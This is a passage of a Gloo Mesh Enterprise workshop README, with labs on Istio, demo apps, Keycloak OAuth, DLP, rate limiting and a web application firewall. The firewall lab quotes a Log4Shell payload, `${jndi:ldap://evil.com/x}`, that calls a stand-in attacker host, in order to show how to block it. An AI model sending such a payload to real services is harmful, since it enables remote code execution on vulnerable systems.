Gateway](#lab-17---apply-rate-limiting-to-the-gateway-) +* [Lab 18 - Use the Web Application Firewall filter](#lab-18---use-the-web-application-firewall-filter-) + + + +## Introduction + +[Gloo Mesh Enterprise](https://www.solo.io/products/gloo-mesh/) is a management plane which makes it easy to operate [Istio](https://istio.io) on one or many Kubernetes clusters deployed anywhere (any platform, anywhere). + +### Istio support + +The Gloo Mesh Enterprise subscription includes end to end Istio support: + +- Upstream first +- Specialty builds available (FIPS, ARM, etc) +- Long Term Support (LTS) N-4 +- Critical security patches +- Production break-fix +- One hour SLA Severity 1 +- Install / upgrade +- Architecture and operational guidance, best practices + +### Gloo Mesh overview + +Gloo Mesh provides many unique features, including: + +- multi-tenancy based on global workspaces +- zero trust enforcement +- global observability (centralized metrics and access logging) +- simplified cross cluster communications (using virtual destinations) +- advanced gateway capabilities (oauth, jwt, transformations, rate limiting, web application firewall, ...) + +![Gloo Mesh graph](images/gloo-mesh-graph.png) + +### Want to learn more about Gloo Mesh + +You can find more information about Gloo Mesh in the official documentation: + +[https://docs.solo.io/gloo-mesh/latest/](https://docs.solo.io/gloo-mesh/latest/) + + + + +## Lab 1 - Deploy a KinD cluster + + +Clone this repository and go to the directory where this `README.md` file is. + +Set the context environment variables: + +```bash +export MGMT=cluster1 +export CLUSTER1=cluster1 +``` + +Run the following commands to deploy a Kubernetes cluster using [Kind](https://kind.sigs.k8s.io/): + +```bash +./scripts/deploy.sh 1 cluster1 us-west us-west-1 +``` + +Then run the following commands to wait for all the Pods to be ready: + +```bash +./scripts/check.sh cluster1 +``` + +**Note:** If you run the `check.sh` script immediately after the `deploy.sh` script, you may see a jsonpath error. If that happens, simply wait a few seconds and try again. + +Once the `check.sh` script completes, when you execute the `kubectl get pods -A` command, you should see the following: + +``` +NAMESPACE NAME READY STATUS RESTARTS AGE +kube-system calico-kube-controllers-59d85c5c84-sbk4k 1/1 Running 0 4h26m +kube-system calico-node-przxs 1/1 Running 0 4h26m +kube-system coredns-6955765f44-ln8f5 1/1 Running 0 4h26m +kube-system coredns-6955765f44-s7xxx 1/1 Running 0 4h26m +kube-system etcd-cluster1-control-plane 1/1 Running 0 4h27m +kube-system kube-apiserver-cluster1-control-plane 1/1 Running 0 4h27m +kube-system kube-controller-manager-cluster1-control-plane1/1 Running 0 4h27m +kube-system kube-proxy-ksvzw 1/1 Running 0 4h26m +kube-system kube-scheduler-cluster1-control-plane 1/1 Running 0 4h27m +local-path-storage local-path-provisioner-58f6947c7-lfmdx 1/1 Running 0 4h26m +metallb-system controller-5c9894b5cd-cn9x2 1/1 Running 0 4h26m +metallb-system speaker-d7jkp 1/1 Running 0 4h26m +``` + + + + +## Lab 2 - Prepare airgap environment + +Set the registry variable: +```bash +export registry=localhost:5000 +``` + +Pull and push locally the Docker images needed: + +```bash +cat <<'EOF' > images.txt +docker.io/curlimages/curl +docker.io/kennethreitz/httpbin +docker.io/nginx:1.25.3 +docker.io/openpolicyagent/opa:0.57.1-debug +docker.io/redis:7.0.14-alpine +gcr.io/gloo-mesh/ext-auth-service:0.51.4 +gcr.io/gloo-mesh/gloo-mesh-agent:2.4.7 +gcr.io/gloo-mesh/gloo-mesh-apiserver:2.4.7 +gcr.io/gloo-mesh/gloo-mesh-envoy:2.4.7 +gcr.io/gloo-mesh/gloo-mesh-mgmt-server:2.4.7 +gcr.io/gloo-mesh/gloo-mesh-ui:2.4.7 +gcr.io/gloo-mesh/gloo-otel-collector:2.4.7 +gcr.io/gloo-mesh/rate-limiter:0.10.3 +jimmidyson/configmap-reload:v0.8.0 +quay.io/keycloak/keycloak:22.0.5 +quay.io/prometheus/prometheus:v2.41.0 +us-docker.pkg.dev/gloo-mesh/istio-workshops/operator:1.19.3-solo +us-docker.pkg.dev/gloo-mesh/istio-workshops/pilot:1.19.3-solo +us-docker.pkg.dev/gloo-mesh/istio-workshops/proxyv2:1.19.3-solo +EOF + +for url in https://raw.githubusercontent.com/istio/istio/master/samples/bookinfo/platform/kube/bookinfo.yaml https://raw.githubusercontent.com/istio/istio/master/samples/bookinfo/networking/bookinfo-gateway.yaml +do + for image in $(curl -sfL ${url}|grep image:|awk '{print $2}') + do + echo $image >> images.txt + done +done + +cat images.txt | while read image; do + nohup sh -c "echo $image | xargs -P10 -n1 docker pull" nohup.out 2>nohup.err & +done + +cat images.txt | while read image; do + src=$(echo $image | sed 's/^docker\.io\///g' | sed 's/^library\///g') + dst=$(echo $image | awk -F/ '{ if(NF>3){ print $3"/"$4}else{if(NF>2){ print $2"/"$3}else{if($1=="docker.io"){print $2}else{print $1"/"$2}}}}' | sed 's/^library\///g') + docker pull $image + + id=$(docker images $src --format "{{.ID}}") + + docker tag $id ${registry}/$dst + docker push ${registry}/$dst + dst_dev=$(echo ${dst} | sed 's/gloo-platform-dev/gloo-mesh/') + docker tag $id ${registry}/$dst_dev + docker push ${registry}/$dst_dev +done +``` + + + +## Lab 3 - Deploy and register Gloo Mesh +[VIDEO LINK](https://youtu.be/djfFiepK4GY "Video Link") + + +Before we get started, let's install the `meshctl` CLI: + +```bash +export GLOO_MESH_VERSION=v2.4.7 +curl -sL https://run.solo.io/meshctl/install | sh - +export PATH=$HOME/.gloo-mesh/bin:$PATH +``` + +Run the following commands to deploy the Gloo Mesh management plane: + +```bash +kubectl --context ${MGMT} create ns gloo-mesh + +helm upgrade --install gloo-platform-crds gloo-platform-crds \ + --repo https://storage.googleapis.com/gloo-platform/helm-charts \ + --namespace gloo-mesh \ + --kube-context ${MGMT} \ + --version 2.4.7 + +helm upgrade --install gloo-platform-mgmt gloo-platform \ + --repo https://storage.googleapis.com/gloo-platform/helm-charts \ + --namespace gloo-mesh \ + --kube-context ${MGMT} \ + --version 2.4.7 \ + -f -< + + + + + +## Lab 4 - Deploy Istio using Gloo Mesh Lifecycle Manager +[VIDEO LINK](https://youtu.be/f76-KOEjqHs "Video Link") + +We are going to deploy Istio using Gloo Mesh Lifecycle Manager. + +Let's create Kubernetes services for the gateways: + +```bash +registry=localhost:5000 +kubectl --context ${CLUSTER1} create ns istio-gateways +kubectl --context ${CLUSTER1} label namespace istio-gateways istio.io/rev=1-19 --overwrite + +kubectl apply --context ${CLUSTER1} -f - < + + + + +```bash +export HOST_GW_CLUSTER1="$(kubectl --context ${CLUSTER1} -n istio-gateways get svc -l istio=ingressgateway -o jsonpath='{.items[0].status.loadBalancer.ingress[0].*}')" +``` + + + + + +## Lab 5 - Deploy the Bookinfo demo app +[VIDEO LINK](https://youtu.be/nzYcrjalY5A "Video Link") + +We're going to deploy the bookinfo application to demonstrate several features of Gloo Mesh. + +You can find more information about this application [here](https://istio.io/latest/docs/examples/bookinfo/). +Update the registry in our bookinfo manifests: + +```bash +sed -i'' -e "s/image: docker.io/image: ${registry}/g" \ + data/steps/deploy-bookinfo/productpage-v1.yaml \ + data/steps/deploy-bookinfo/details-v1.yaml \ + data/steps/deploy-bookinfo/ratings-v1.yaml \ + data/steps/deploy-bookinfo/reviews-v1-v2.yaml \ + data/steps/deploy-bookinfo/reviews-v3.yaml +``` + +Run the following commands to deploy the bookinfo application on `cluster1`: + +```bash +kubectl --context ${CLUSTER1} create ns bookinfo-frontends +kubectl --context ${CLUSTER1} create ns bookinfo-backends +kubectl --context ${CLUSTER1} label namespace bookinfo-frontends istio.io/rev=1-19 --overwrite +kubectl --context ${CLUSTER1} label namespace bookinfo-backends istio.io/rev=1-19 --overwrite + +# Deploy the frontend bookinfo service in the bookinfo-frontends namespace +kubectl --context ${CLUSTER1} -n bookinfo-frontends apply -f data/steps/deploy-bookinfo/productpage-v1.yaml + +# Deploy the backend bookinfo services in the bookinfo-backends namespace for all versions less than v3 +kubectl --context ${CLUSTER1} -n bookinfo-backends apply \ + -f data/steps/deploy-bookinfo/details-v1.yaml \ + -f data/steps/deploy-bookinfo/ratings-v1.yaml \ + -f data/steps/deploy-bookinfo/reviews-v1-v2.yaml + +# Update the reviews service to display where it is coming from +kubectl --context ${CLUSTER1} -n bookinfo-backends set env deploy/reviews-v1 CLUSTER_NAME=${CLUSTER1} +kubectl --context ${CLUSTER1} -n bookinfo-backends set env deploy/reviews-v2 CLUSTER_NAME=${CLUSTER1} +``` + + + +You can check that the app is running using the following command: + +``` +kubectl --context ${CLUSTER1} -n bookinfo-frontends get pods && kubectl --context ${CLUSTER1} -n bookinfo-backends get pods +``` + +Note that we deployed the `productpage` service in the `bookinfo-frontends` namespace and the other services in the `bookinfo-backends` namespace. + +And we deployed the `v1` and `v2` versions of the `reviews` microservice, not the `v3` version. + + + + + +## Lab 6 - Deploy the httpbin demo app +[VIDEO LINK](https://youtu.be/w1xB-o_gHs0 "Video Link") + +We're going to deploy the httpbin application to demonstrate several features of Gloo Mesh. + +You can find more information about this application [here](http://httpbin.org/). + +Run the following commands to deploy the httpbin app on `cluster1`. The deployment will be called `not-in-mesh` and won't have the sidecar injected (because we don't label the namespace). + +```bash +kubectl --context ${CLUSTER1} create ns httpbin +kubectl apply --context ${CLUSTER1} -f - </dev/null +do + sleep 1 + echo -n . +done" +echo +--> + +You can follow the progress using the following command: + +```bash +kubectl --context ${CLUSTER1} -n httpbin get pods +``` + +```,nocopy +NAME READY STATUS RESTARTS AGE +in-mesh-5d9d9549b5-qrdgd 2/2 Running 0 11s +not-in-mesh-5c64bb49cd-m9kwm 1/1 Running 0 11s +``` + + + + +## Lab 7 - Deploy Gloo Mesh Addons +[VIDEO LINK](https://youtu.be/_rorug_2bk8 "Video Link") + +To use the Gloo Mesh Gateway advanced features (external authentication, rate limiting, ...), you need to install the Gloo Mesh addons. + +First, you need to create a namespace for the addons, with Istio injection enabled: + +```bash +kubectl --context ${CLUSTER1} create namespace gloo-mesh-addons +kubectl --context ${CLUSTER1} label namespace gloo-mesh-addons istio.io/rev=1-19 --overwrite +``` + +Then, you can deploy the addons on the cluster(s) using Helm: + +```bash +helm upgrade --install gloo-platform gloo-platform \ + --repo https://storage.googleapis.com/gloo-platform/helm-charts \ + --namespace gloo-mesh-addons \ + --kube-context ${CLUSTER1} \ + --version 2.4.7 \ + -f -< ./test.js +const helpers = require('./tests/chai-exec'); + +describe("Gloo Platform add-ons cluster1 deployment", () => { + let cluster = process.env.CLUSTER1 + let deployments = ["ext-auth-service", "rate-limiter"]; + deployments.forEach(deploy => { + it(deploy + ' pods are ready in ' + cluster, () => helpers.checkDeployment({ context: cluster, namespace: "gloo-mesh-addons", k8sObj: deploy })); + }); +}); + +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/deploy-gloo-mesh-addons/tests/check-addons-deployments.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +This is what the environment looks like now: + +![Gloo Platform Workshop Environment](images/steps/deploy-gloo-mesh-addons/gloo-mesh-workshop-environment.svg) + + + +## Lab 8 - Create the gateways workspace +[VIDEO LINK](https://youtu.be/QeVBH0eswWw "Video Link") + +We're going to create a workspace for the team in charge of the Gateways. + +The platform team needs to create the corresponding `Workspace` Kubernetes objects in the Gloo Mesh management cluster. + +Let's create the `gateways` workspace which corresponds to the `istio-gateways` and the `gloo-mesh-addons` namespaces on the cluster(s): + +```bash +kubectl apply --context ${MGMT} -f - < + +We're going to create a workspace for the team in charge of the Bookinfo application. + +The platform team needs to create the corresponding `Workspace` Kubernetes objects in the Gloo Mesh management cluster. + +Let's create the `bookinfo` workspace which corresponds to the `bookinfo-frontends` and `bookinfo-backends` namespaces on the cluster(s): + +```bash +kubectl apply --context ${MGMT} -f - < +[VIDEO LINK](https://youtu.be/emyIu99AOOA "Video Link") + +In this step, we're going to expose the `productpage` service through the Ingress Gateway using Gloo Mesh. + +The Gateway team must create a `VirtualGateway` to configure the Istio Ingress Gateway in cluster1 to listen to incoming requests. + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpers = require('./tests/chai-http'); + +describe("Productpage is available (HTTP)", () => { + it('/productpage is available in cluster1', () => helpers.checkURL({ host: `http://cluster1-bookinfo.example.com`, path: '/productpage', retCode: 200 })); +}) +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/bookinfo/gateway-expose/tests/productpage-available.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +Gloo Mesh translates the `VirtualGateway` and `RouteTable` into the corresponding Istio objects (`Gateway` and `VirtualService`). + +Now, let's secure the access through TLS. +Let's first create a private key and a self-signed certificate: + +```bash +openssl req -x509 -nodes -days 365 -newkey rsa:2048 \ + -keyout tls.key -out tls.crt -subj "/CN=*" +``` + +Then, you have to store them in a Kubernetes secret running the following commands: + +```bash +kubectl --context ${CLUSTER1} -n istio-gateways create secret generic tls-secret \ + --from-file=tls.key=tls.key \ + --from-file=tls.crt=tls.crt +``` + +Finally, the Gateway team needs to update the `VirtualGateway` to use this secret: + +```bash +kubectl apply --context ${CLUSTER1} -f - <. + +Notice that we specificed a minimumProtocolVersion, so if the client is trying to use an deprecated TLS version the request will be denied. + +To test this, we can try to send a request with `tlsv1.2`: + +```console +curl --tlsv1.2 --tls-max 1.2 --key tls.key --cert tls.crt https://cluster1-bookinfo.example.com/productpage -k +``` + +You should get the following output: + +```nocopy +curl: (35) error:1409442E:SSL routines:ssl3_read_bytes:tlsv1 alert protocol version +``` + +Now, you can try the most recent `tlsv1.3`: + +```console +curl --tlsv1.3 --tls-max 1.3 --key tls.key --cert tls.crt https://cluster1-bookinfo.example.com/productpage -k +``` + +And after this you should get the actual Productpage. + + + +This diagram shows the flow of the request (through the Istio Ingress Gateway): + +![Gloo Mesh Gateway](images/steps/gateway-expose/gloo-mesh-gateway.svg) + + + + +## Lab 11 - Create the httpbin workspace + +We're going to create a workspace for the team in charge of the httpbin application. + +The platform team needs to create the corresponding `Workspace` Kubernetes objects in the Gloo Mesh management cluster. + +Let's create the `httpbin` workspace which corresponds to the `httpbin` namespace on `cluster1`: + +```bash +kubectl apply --context ${MGMT} -f - < +[VIDEO LINK](https://youtu.be/jEqDoITpRss "Video Link") + +In this step, we're going to expose an external service through a Gateway using Gloo Mesh and show how we can then migrate this service to the Mesh. + +Let's create an `ExternalService` corresponding to `httpbin.org`: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpersHttp = require('./tests/chai-http'); + +describe("httpbin from the external service", () => { + it('Checking text \'X-Amzn-Trace-Id\' in ' + process.env.CLUSTER1, () => helpersHttp.checkBody({ host: `https://cluster1-httpbin.example.com`, path: '/get', body: 'X-Amzn-Trace-Id', match: true })); +}) +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/httpbin/gateway-external-service/tests/httpbin-from-external.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +Let's update the `RouteTable` to direct 50% of the traffic to the local `httpbin` service: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpersHttp = require('./tests/chai-http'); + +describe("httpbin from the local service", () => { + it('Got the expected status code 200', () => helpersHttp.checkURL({ host: `https://cluster1-httpbin.example.com/get`, retCode: 200 })); + it('Checking text \'X-Amzn-Trace-Id\' not in ' + process.env.CLUSTER1, () => helpersHttp.checkBody({ host: `https://cluster1-httpbin.example.com`, path: '/get', body: 'X-Amzn-Trace-Id', match: false })); +}) +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/httpbin/gateway-external-service/tests/httpbin-from-local.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + + +If you refresh your browser, you should see that you get a response either from the local service or from the external service. + +When the response comes from the external service (httpbin.org), there's a `X-Amzn-Trace-Id` header. + +And when the response comes from the local service, there's a `X-B3-Parentspanid` header. + +Finally, you can update the `RouteTable` to direct all the traffic to the local `httpbin` service: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpersHttp = require('./tests/chai-http'); + +describe("httpbin from the local service", () => { + it('Got the expected status code 200', () => helpersHttp.checkURL({ host: `https://cluster1-httpbin.example.com/get`, retCode: 200 })); + it('Checking text \'X-Amzn-Trace-Id\' not in ' + process.env.CLUSTER1, () => helpersHttp.checkBody({ host: `https://cluster1-httpbin.example.com`, path: '/get', body: 'X-Amzn-Trace-Id', match: false })); +}) +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/httpbin/gateway-external-service/tests/httpbin-from-local.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +If you refresh your browser, you should see that you get responses only from the local service. + +This diagram shows the flow of the requests : + +![Gloo Mesh Gateway EXternal Service](images/steps/gateway-external-service/gloo-mesh-gateway-external-service.svg) + +Let's delete the `ExternalService` we've created: + +```bash +kubectl --context ${CLUSTER1} -n httpbin delete externalservices.networking.gloo.solo.io httpbin +``` + + + +## Lab 13 - Deploy Keycloak + +In many use cases, you need to restrict the access to your applications to authenticated users. + +OpenID Connect (OIDC) is an identity layer on top of the OAuth 2.0 protocol. In OAuth 2.0 flows, authentication is performed by an external Identity Provider (IdP) which, in case of success, returns an Access Token representing the user identity. The protocol does not define the contents and structure of the Access Token, which greatly reduces the portability of OAuth 2.0 implementations. + +The goal of OIDC is to address this ambiguity by additionally requiring Identity Providers to return a well-defined ID Token. OIDC ID tokens follow the JSON Web Token standard and contain specific fields that your applications can expect and handle. This standardization allows you to switch between Identity Providers – or support multiple ones at the same time – with minimal, if any, changes to your downstream services; it also allows you to consistently apply additional security measures like Role-Based Access Control (RBAC) based on the identity of your users, i.e. the contents of their ID token. + +In this lab, we're going to install Keycloak. It will allow us to setup OIDC workflows later. + +Let's install it: + +```bash +kubectl --context ${MGMT} create namespace keycloak + +kubectl apply --context ${MGMT} -f - < ./test.js +const helpers = require('./tests/chai-exec'); + +describe("Keycloak", () => { + it('keycloak pods are ready in cluster1', () => helpers.checkDeployment({ context: process.env.MGMT, namespace: "keycloak", k8sObj: "keycloak" })); +}); +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/deploy-keycloak/tests/pods-available.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + + + +Then, we will configure it and create two users: + +- User1 credentials: `user1/password` + Email: user1@example.com + +- User2 credentials: `user2/password` + Email: user2@solo.io + + + +Let's set the environment variables we need: + +```bash +export ENDPOINT_KEYCLOAK=$(kubectl --context ${MGMT} -n keycloak get service keycloak -o jsonpath='{.status.loadBalancer.ingress[0].*}'):8080 +export HOST_KEYCLOAK=$(echo ${ENDPOINT_KEYCLOAK%:*}) +export PORT_KEYCLOAK=$(echo ${ENDPOINT_KEYCLOAK##*:}) +export KEYCLOAK_URL=http://${ENDPOINT_KEYCLOAK} +``` + + + + +Now, we need to get a token: + +```bash +export KEYCLOAK_TOKEN=$(curl -Ssm 10 --fail-with-body \ + -d "client_id=admin-cli" \ + -d "username=admin" \ + -d "password=admin" \ + -d "grant_type=password" \ + "$KEYCLOAK_URL/realms/master/protocol/openid-connect/token" | + jq -r .access_token) +``` + +After that, we configure Keycloak: + +```bash +# Create initial token to register the client +read -r client token <<<$(curl -Ssm 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -d '{ "expiration": 0, "count": 1 }' \ + $KEYCLOAK_URL/admin/realms/master/clients-initial-access | + jq -r '[.id, .token] | @tsv') +KEYCLOAK_CLIENT=${client} + +# Register the client +read -r id secret <<<$(curl -Ssm 10 --fail-with-body -H "Authorization: bearer ${token}" -H "Content-Type: application/json" \ + -d '{ "clientId": "'${KEYCLOAK_CLIENT}'" }' \ + ${KEYCLOAK_URL}/realms/master/clients-registrations/default | + jq -r '[.id, .secret] | @tsv') +KEYCLOAK_SECRET=${secret} + +# Add allowed redirect URIs +curl -m 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -X PUT -d '{ "serviceAccountsEnabled": true, "directAccessGrantsEnabled": true, "authorizationServicesEnabled": true, "redirectUris": ["'https://cluster1-httpbin.example.com'/*","'https://cluster1-portal.example.com'/*","'https://cluster1-backstage.example.com'/*"] }' \ + ${KEYCLOAK_URL}/admin/realms/master/clients/${id} + +# Set access token lifetime to 30m (default is 1m) +curl -m 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -X PUT -d '{ "accessTokenLifespan": 1800 }' \ + ${KEYCLOAK_URL}/admin/realms/master + +# Add the group attribute in the JWT token returned by Keycloak +curl -m 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -d '{ "name": "group", "protocol": "openid-connect", "protocolMapper": "oidc-usermodel-attribute-mapper", "config": { "claim.name": "group", "jsonType.label": "String", "user.attribute": "group", "id.token.claim": "true", "access.token.claim": "true" } }' \ + ${KEYCLOAK_URL}/admin/realms/master/clients/${id}/protocol-mappers/models + +# Add the show_personal_data attribute in the JWT token returned by Keycloak +curl -m 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -d '{ "name": "show_personal_data", "protocol": "openid-connect", "protocolMapper": "oidc-usermodel-attribute-mapper", "config": { "claim.name": "show_personal_data", "jsonType.label": "String", "user.attribute": "show_personal_data", "id.token.claim": "true", "access.token.claim": "true"} } ' \ + ${KEYCLOAK_URL}/admin/realms/master/clients/${id}/protocol-mappers/models + +# Create first user +curl -m 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -d '{ "username": "user1", "email": "user1@example.com", "enabled": true, "attributes": { "group": "users" }, "credentials": [ { "type": "password", "value": "password", "temporary": false } ] }' \ + ${KEYCLOAK_URL}/admin/realms/master/users + +# Create second user +curl -m 10 --fail-with-body -H "Authorization: Bearer ${KEYCLOAK_TOKEN}" -H "Content-Type: application/json" \ + -d '{ "username": "user2", "email": "user2@solo.io", "enabled": true, "attributes": { "group": "users", "show_personal_data": false }, "credentials": [ { "type": "password", "value": "password", "temporary": false } ] }' \ + ${KEYCLOAK_URL}/admin/realms/master/users + +``` + +> **Note:** If you get a *Not Authorized* error, please, re-run the following command and continue from the command that started to fail: + +``` +KEYCLOAK_TOKEN=$(curl -m 2 -d "client_id=admin-cli" -d "username=admin" -d "password=admin" -d "grant_type=password" "$KEYCLOAK_URL/realms/master/protocol/openid-connect/token" | jq -r .access_token) +``` + + + + +## Lab 14 - Securing the access with OAuth +[VIDEO LINK](https://youtu.be/fKZjr0AYxYs "Video Link") + +In this step, we're going to secure the access to the `httpbin` service using OAuth. + +First, we need to create a Kubernetes Secret that contains the OIDC secret: + +```bash +kubectl apply --context ${CLUSTER1} -f - < + + + + +If you refresh the web browser, you will be redirected to the authentication page. + +If you use the username `user1` and the password `password` you should be redirected back to the `httpbin` application. + +Notice that we are also extracting information from the `email` claim, and putting it into a new header. This can be used for different things during our authz/authn flow, but most importantly we don't need any jwt-decoding library in the application anymore! + +You can also perform authorization using OPA. + +First, you need to create a `ConfigMap` with the policy written in rego: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpersHttp = require('./tests/chai-http'); + +describe("Authentication is working properly", function () { + + const cookieString_user1 = process.env.USER1_TOKEN; + const cookieString_user2 = process.env.USER2_TOKEN; + + it("The httpbin page isn't accessible with user1", () => helpersHttp.checkURL({ host: `https://cluster1-httpbin.example.com`, path: '/get', headers: [{ key: 'Cookie', value: cookieString_user1 }], retCode: "keycloak-session=dummy" == cookieString_user1 ? 302 : 403 })); + it("The httpbin page is accessible with user2", () => helpersHttp.checkURL({ host: `https://cluster1-httpbin.example.com`, path: '/get', headers: [{ key: 'Cookie', value: cookieString_user2 }], retCode: 200 })); + +}); + +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/httpbin/gateway-extauth-oauth/tests/authorization.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> +If you open the browser in incognito and login using the username `user2` and the password `password`, you will now be able to access it since the user's email ends with `@solo.io`. + +This diagram shows the flow of the request (with the Istio ingress gateway leveraging the `extauth` Pod to authorize the request): + +![Gloo Mesh Gateway Extauth](images/steps/gateway-extauth-oauth/gloo-mesh-gateway-extauth.svg) + + + + +## Lab 15 - Use the transformation filter to manipulate headers + + +In this step, we're going to use a regular expression to extract a part of an existing header and to create a new one: + +Let's create a `TransformationPolicy` to extract the claim. + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpersHttp = require('./tests/chai-http'); + +describe("Tranformation is working properly", function() { + const cookieString = process.env.USER2_TOKEN; + it('The new header has been added', () => helpersHttp.checkBody({ host: `https://cluster1-httpbin.example.com`, path: '/get', headers: [{ key: 'Cookie', value: cookieString }], body: '"X-Organization": "solo.io"' })); +}); + +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/httpbin/gateway-transformation/tests/header-added.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + + + +## Lab 16 - Use the DLP policy to mask sensitive data +[VIDEO LINK](https://youtu.be/Uark0F4g47s "Video Link") + + +Now that we learnt how to put user information from the JWT to HTTP headers visible to the applications, those same applications could return sensitive or protected user information in the responses. + +In this step, we're going to use a Data Loss Prevention (DLP) Policy to mask data in response bodies and headers. + +Let's create a `DLPPolicy` to mask protected user information. + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpersHttp = require('./tests/chai-http'); + +describe("DLP Policy", function () { + const cookieString = process.env.USER2_TOKEN; + + it('Email is masked', () => helpersHttp.checkBody({ host: `https://cluster1-httpbin.example.com`, path: '/get', headers: [{ key: 'Cookie', value: cookieString }], body: 'XXXXXXXXXX.io' })); +}); + +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/httpbin/gateway-dlp/tests/email-masked.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + + + +## Lab 17 - Apply rate limiting to the Gateway + + +In this step, we're going to apply rate limiting to the Gateway to only allow 3 requests per minute for the users of the `solo.io` organization. + +First, we need to create a `RateLimitServerConfig` object to define the limits based on the descriptors we will use later: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const helpersHttp = require('./tests/chai-http'); + +describe("Rate limiting is working properly", function() { + const cookieString = process.env.USER2_TOKEN; + it('The httpbin page should be rate limited', () => helpersHttp.checkURL({ host: `https://cluster1-httpbin.example.com`, path: '/get', headers: [{ key: 'Cookie', value: cookieString }], retCode: 429 })); +}); + +EOF +echo "executing test dist/gloo-mesh-2-0-workshop/build/templates/steps/apps/httpbin/gateway-ratelimiting/tests/rate-limited.test.js.liquid" +tempfile=$(mktemp) +echo "saving errors in ${tempfile}" +timeout 2m mocha ./test.js --timeout 10000 --retries=120 --bail 2> ${tempfile} || { cat ${tempfile} && exit 1; } +--> + +You should get a `200` response code the first 3 time and a `429` response code after. + +This diagram shows the flow of the request (with the Istio ingress gateway leveraging the `rate limiter` Pod to determine if the request should be allowed): + +![Gloo Mesh Gateway Rate Limiting](images/steps/gateway-ratelimiting/gloo-mesh-gateway-rate-limiting.svg) + +Let's apply the original `RouteTable` yaml: +```bash +kubectl apply --context ${CLUSTER1} -f - < +[VIDEO LINK](https://youtu.be/9q2TxtBDqrA "Video Link") + +A web application firewall (WAF) protects web applications by monitoring, filtering, and blocking potentially harmful traffic and attacks that can overtake or exploit them. + +Gloo Mesh includes the ability to enable the ModSecurity Web Application Firewall for any incoming and outgoing HTTP connections. + +An example of how using Gloo Mesh we'd easily mitigate the recent Log4Shell vulnerability ([CVE-2021-44228](https://nvd.nist.gov/vuln/detail/CVE-2021-44228)), which for many enterprises was a major ordeal that took weeks and months of updating all services. + +The Log4Shell vulnerability impacted all Java applications that used the log4j library (common library used for logging) and that exposed an endpoint. You could exploit the vulnerability by simply making a request with a specific header. In the example below, we will show how to protect your services against the Log4Shell exploit. + +Using the Web Application Firewall capabilities you can reject requests containing such headers. + +Log4Shell attacks operate by passing in a Log4j expression that could trigger a lookup to a remote server, like a JNDI identity service. The malicious expression might look something like this: `${jndi:ldap://evil.com/x}`. It might be passed in to the service via a header, a request argument, or a request payload. What the attacker is counting on is that the vulnerable system will log that string using log4j without checking it. That’s what triggers the destructive JNDI lookup and the ultimate execution of malicious code. + +Create the WAF policy: + +```bash +kubectl apply --context ${CLUSTER1} -f - < ./test.js +const chaiExec = require("@jsdevtools/chai-exec"); +const helpersHttp = require('./tests/chai-http'); +var chai = require('chai'); +var expect = chai.expect; + +describe("WAF is working properly", function() { + it('The request has been blocked', () => helpersHttp.checkBody({ host: `https://cluster1-httpbin.example.com`, path: '/get', headers: [{key: 'x-my-header', value: 